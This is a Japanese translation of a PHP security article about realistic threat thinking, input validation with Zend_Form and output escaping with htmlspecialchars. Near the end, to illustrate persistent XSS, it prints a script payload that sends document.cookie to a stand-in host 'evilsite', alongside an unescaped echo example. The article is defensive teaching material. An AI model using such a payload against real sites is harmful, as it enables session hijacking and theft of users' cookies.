|
|
|
Kevin Schroeder 著
PHP はセキュリティーに関してはあまり評判が良くありません。本来、PHP 自体がいかにセキュアでないかという話を聞いたことがあります。アマチュアのハッカー軍団が寄せ集めて作った言語で、結果的にその機能のせいで、多くの初心者悪玉ハッカーがキーボードをカチャカチャさせながら、あなたのアプリケーションの奥深くまで簡単に攻撃できるような、暗く虚しいぜい弱性を作り上げてしまっています。 PHP と PHP アプリケーションにぜい弱性があることは私が一番分かっています。しかし、C、Java、.NET、Python、RPG などの言語も同じであることを一番指摘できるのも私でしょう。整理すると、アーキテクチャーを含め「完全にセキュアな」アプリケーションなどというものが存在しないように、「完全なセキュアな」プログラミング言語というものは存在しません。セキュアなアプリケーションとインフラストラクチャーの構築における正しい目標は、完全にセキュアにするということであってはならないのです。正しい目標とは、攻撃者が単に攻撃をあきらめるか捕まるぐらい、アクセスしにくくすることです。我々はいわゆる「現実社会」で生活しているわけですから、完全なセキュリティーは目標になりません。観察眼、お金、監視が無限にある場合にだけ、外部からの攻撃に完全に不死身の、完ぺきなセキュア・システムを作成できます。これのどれもできませんから、完ぺきというのは忘れる必要があります。それこそ、ここで私が言わんとしていることです。それは、アプリケーションの保護に極力役立つ現実的なアドバイスです。 最優先事項: 態度を改める万が一幸運にも、完全にセキュアなシステムを作成していたとしても、まだ PICNIC (Problem In Chair Not In Computer) という問題が残っています。有名なハッカーである Kevin Mitnick 氏は、彼がアクセスした、つまり少なくともアクセスしたとして起訴されたすべてのシステムについて、パスワードのクラック、ネットワーク監視、その他のシステム侵入関連のツールといった技術的な方法ではなく、ソーシャル・エンジニアリングを通して見つけたパスワードとコードでアクセスしたと主張しています。したがって彼から学ぶことは、アプリケーションのセキュリティーは、単にプログラミング・ルールのセットに従うのではなく、ある習慣を解釈することに関わっているということです。その習慣は、ヘルプ・デスク担当者がユーザーのパスワードのリセットを手伝うときのように、プログラマーがコードを作成している場合も同じです。その習慣とは、常に「どうやったら他人が自分のやることを悪用して、このシステムにアクセスできるだろうか」と問いかけることです。自分への問いかけが必要な理由は、まさにそれこそ攻撃者が自分に問いかけていることだからです。 「それでは、従業員がシステム安全機能を回避する方法を考え出そうとするのではないだろうか」と考えるでしょう。そうです。結構なことではないでしょうか。統計の出典は思い出せませんが、侵入全体の 80% が組織内からであると聞いたことがあります。その数字は、その場で行った統計の数字と一致していると理解していますが、その統計情報を何年も利用し、確かにどこかで見た覚えがあります。多少数パーセントずれていても、その統計は完全に理解できます。あなたのシステムを使用している人は、そのシステムを最も知っている人です。コンピューターが動作しないときに、誰もが駆け込む人がいますよね。その人こそ最大の脅威です。その人はおそらく、「URL の Select ステートメントの一部のようだね」とか「そのフォームの相対パス名のようだね」などと言うでしょう。そして、次にその人が考えるのは「もし、こうしたらどうなるだろう」ということなのです。 こうしたらどうなるか . . .ほとんどの攻撃者は、破壊といった類のものをしているのではありません。ほとんどは楽しんでいるだけです。URL を操作したり、あるサブネットのポート・スキャナーを実行したりして、だれがオープンなServer Message Block (SMB) 共有を実行しているのか見ようとしているのだと思います。あるいは、Web サーバー上でぜい弱性があるかを確認するスクリプトを実行しているのかもしれません。図 1 は私の今日のログ・ファイルを覗いたものです。さらに別の 200 個の要求についても、このような感じになっています。この人は脅威でしょうか。それほど脅威ではありません。こうした要求の 1 つに 200 個もの戻りコードがあったら、個人レベルでもどうすればいいかわかると思います。しかし、実はそれがポイントではありません。この人はフィッシングをして、自慢できる獲物を探しているのです。 心配しなければならないケースは、あなたの URL を見て、http://www.eschrade.com/?page=home.php を見たときに、「このページの値を /www/config.ini に変えたらどうなるだろう」とつぶやく人なのです。その人はスクリプトを弄ぶわけではなく、Web セキュリティーについて多少知識のある人です。見えないファイル・システムがあることを知っていて、アプリケーションでは設定ファイルが必要なことを理解し、その設定ファイルがどこにあるだろうかと想像している人です。 代表的な攻撃代表的な攻撃と言われるための厳格なルールはありませんが、経験上、次のような攻撃が最も一般的で最も危険と思われます。 SQL インジェクション SQL クロス・サイト・スクリプティング (XSS) クロス・サイト、リクエスト・フォージェリ (XSRF) ファイルの取り込み 情報の流布 コマンド・インジェクション リモート・コード・インジェクション セッション・ハイジャック セッションの固定化 クッキー・フォージング ルールは単純です。セキュリティーは、あるルールに従うのとは対照的に、考え方を解釈することに関わっているということを前述のポイントで明確にしたように、すべてのものから保護するわけではありません。しかし、PHP セキュリティー保護のほとんどは、最終的には次の 2 つの基本的なルールに落ち着きます。これで「安心」というわけではありませんが、コーディングしながらこれらのルールについて考えることで、破られにくいコードを作成することができるでしょう。そのルールを示します。
それだけですか? いいえ、でもこれら 2 つのルールに正しく従うだけで、悪用されやすいコードを作成する量を著しく減らすことができます。コンピューターが、自分で自分をハッキングすることは通常ないからです。コンピューター上では、エンド・ユーザーは、プログラマーが意図しなかったやり方でコンピューターと相互作用することを要求されます。最終的には、信頼です。エンド・ユーザーが常にルールにしたがって作業すると信頼できますか。完全に信頼できるとしても、エンド・ユーザーが誤って予期しない動作を引き起こす可能性があるようなことをしないと信頼できますか。 セキュリティーとは悪人を締め出すことではありません。アプリケーションが、どのように相互作用していても、その意図したとおりに確実に動作させることです。 入力を検証するアプリケーションが確実にその動作をするようにする防御の最前線は、すべてについてアプリケーションに、その入力を検証させることです。電子メール・アドレスを入力するなら、電子メール・アドレスのデータを検証します。年齢を入力しているなら、それが整数であることを検証します。これらの実践は難しい話ではありませんが、本来そうすべきようには十分行われていないことがしばしばです。 これが実施できない理由は、入力を検証するのは面倒だからと考えています。それに見合った働きをするアプリケーションはどれも、多くのデータ相互作用があるでしょう。そうしたデータを正しくフィルタリングするのは単純労働です。しかし、PHP 側では、入力の検証を簡単に行うことができようにするライブラリーがいくつかあります。Zend で、無償でダウンロードできる Zend Framework という、意のままに使用できるフレームワークを開発しました。「意のままに使用できる」とは、フレームワーク内からの多数の依存関係なく、フレームワーク全体やその一部を使用する、あるいはまったく使用しないことを意味します。例えば、データベース・レイヤーを使用する場合、MVC レイヤーを使用する必要はありません。Zend Framework では、Zend_Form という、基本的な脅威から防御しながらユーザーとの相互作用を構築するためのメカニズムをフィルタリング、検証、および提供するコンポーネントを備えています。 Zend_Form は、その相互作用の HTML 全体をレンダリングしながら、フォームを構築し、フィルタリング、検証、エラー・メッセージなどを処理することで知られています。しかしながら、自分の入力データの見せ方を定義するためだけに、度々これを使用したことがありました。すべての固有の入力操作について、Zend_Form を拡張し、自分のバリデーターとフィルターを定義するクラスを作成し、次に自分の全入力配列 ($_GET or $_POST) を渡します。データを取得するには、入力配列ではなく Zend_Form オブジェクトと相互作用します。(これは、どちらかと言えば、従来の PHP アプリケーションを構築していると想定している点に注意してください。MVC ベースのアプリケーションを構築している場合は、データ検証はモデル・レイヤーに属するというのが合意です。) 自分にこう問いかけているでしょう。「これを毎回やるのは大変じゃないだろうか」と。私の回答は「それほどでもない」です。いずれにしても検証する必要がありますが、フォーム・クラスを作成することで、次のことが可能になります。
この情報は Zend Framework の宣伝のように聞こえるかもしれませんが、実際には次の 2 つの点を強調しようとしています。
アプリケーションの出力をフィルタリングするのは大変です。出力しているデータを意識していなければならないだけでなく、すでに入力したデータも気にかけなければならないためです。誘導された最悪の Web サイト動作の中には、フィルタリングされていない出力によるものがあります。XSS、XSRF、セッション・ハイジャック、その他の攻撃は、正しくフィルタリングされていない出力が原因で実装される可能性があります。 ある種の掲示板システムがあり、そこでユーザーが互いに対話したり、ユーザーが組織内の人と対話したりできるヘルプ・デスクのようなものがあるとします。ヘルプ・デスクのページで、ヘルプ・デスク項目の件名を表示する PHP コードがあるとすれば、次のようなコードになるでしょう。 <input type="text" name="subject"value="<?php echo $subject; ?>">"貴社の「サービス」"といった件名を考えます。フィルタリングしないと、これは HTML ソースで次のように表示されます。 <input type="text" name="subject"value="貴社の「サービス」">実際には、件名は次のように表示されることになります。 貴社の二重引用符により value プロパティーの外にあるデータがエスケープされます。ここで最悪の場合、ページで書式設定がぐちゃぐちゃになる可能性があると考えるでしょう。あなたが間違っているはその点です。実際これは、サイバー犯罪が数々の攻撃を仕掛けようとする入口になります。いったんプロパティーの外に出たら、攻撃者は HTML を操作できるだけでなく、JavaScript、サード・パーティー・リンク、または iframe (別の文書を含むインライン・フレーム) コンテンツなどを注入できます。これは持続的なクロス・サイト・スクリプティングと呼ばれるぜい弱性で、攻撃者は別のユーザーのブラウザーでスクリプトを実行させる目的でサーバーを利用します。というより、ほとんどの場合、悪用します。 クロス・サイト・スクリプティング、特に持続的なクロス・サイト・スクリプティングは、PHP 開発においてはおそらく最も危険性が高い脅威の 1 つでしょう。それ自体は、大きな脅威ではありません。本当に怖いのは、それは通常、他の攻撃を実装できるメカニズムであるという事実です。 件名をさらに変更すると、前述した単純で歪んだレイアウトはさらに見るに堪えないものになるおそれがあります。 Your company's "><script>var img = new Image();img.src="http://evilsite /?"+ document.cookie; </script><" このコード片では、持続的クロス・サイト・スクリプティングが使用され、セッション ID をサード・パーティー・サーバーに送信することで、セッション・ハイジャックを実装します。他にも、ファイル取り込み、リモート・コード・インジェクション、およびコマンド・インジェクションなど、クロス・サイト・スクリプティングのぜい弱性を必要としない、さらに危険性が高い攻撃があります。しかし、クロス・サイト・スクリプティングの方が危険性が高いです。というのも、それは実質的にクライアント側の攻撃であるためです。Web サイトのユーザーのトラストを悪用し、それがわかれば比較的簡単に実行されます。したがって、Web サイトに表示されるあらゆる情報を断片レベルで明示的にフィルタリングする必要があります。 「エコー」がある場合は、htmlspecialchars($var) に従って特殊文字を HTML エンティティーに必ず変換する必要があります。「必ず」です。これを常に忘れないようにするのは大変です。たとえ、データ・ソースは通常アプリケーションから来るのだとしても、ある出力を表示させる唯一の方法であるとは限りません。データをページに注入する方法がない限り (つまり、あるデータ片の唯一のソースは、外部変更なく前もって実行されるコード)、htmlspecialchars($var) 関数を使用して、単にすべての文字をエスケープするのが最善の手段です。データベースも無視できません。データベースは、アプリケーション外のソースです。 しかし、はっきりさせておきたいのですが、フィルタリングは必ずしも htmlspecialchars() 関数を使用することを意味しないということを言わせてください。HTML を表示する必要があるフィールドがある場合、この関数を明確には使用できません。HTML と解釈されるすべての特殊文字をエスケープするためです。あるページの出力をよりきめ細かく制御しなければならない場合があります。その場合、ホワイト・リストを使用して表示したい内容を判断する必要があります。言い換えれば、明示的に拒否するのではなく、明示的に許可する必要があるということです。 ホワイト・リストは HTML エレメントをブラック・リストに載せるより効果的です。理由として (a) ブラック・リストは古くならないわけではない 、(b) 毎回悪用できるエレメントを捕まえることはできそうもない、ためです。わかりました、では <script> を許可しません。ただし、onclick、onmouseover、<style>、iframe などはどうしたらよいでしょうか。例えば、ユーザーは <p> および <div> とプロパティー class だけを使用できると言った方がより安全です。このデータは、入力され、表示中にフィルタリングされるときに検証する必要があるでしょう。 つまり勝つ確率を上げることこの中で覚えておきたいことは、だれかが欲しがる、本当に欲しがっているデータがない限り、サイトへの侵入は時間と努力の無駄と思わせるのに、プログラマチック・セキュリティーの基本原則が大きな役割を果たす、ということです。覚えておいてほしいのは、完全なセキュリティー・システムなどというのは存在しないということです。しかし、広く開かれていて、ぜい弱なアプリケーションがあったら、基本を押さえることでぜい弱性を極めて迅速に、著しく減らすことができます。自分のアプリケーションをテストできるよう、しばらく時間をかけて、私が記載しているぜい弱性を利用する方法を学習してください。あなたのアプリケーションがここで説明する一般的な攻撃に対して十分守られており、データをしっかり検証してフィルタリングしているならば、大部分の攻撃者はそのままあなたの元から立ち去るでしょう。 著者について |
| ↑このページのトップへ |
BELLDATA, Inc. Copyright reserved. |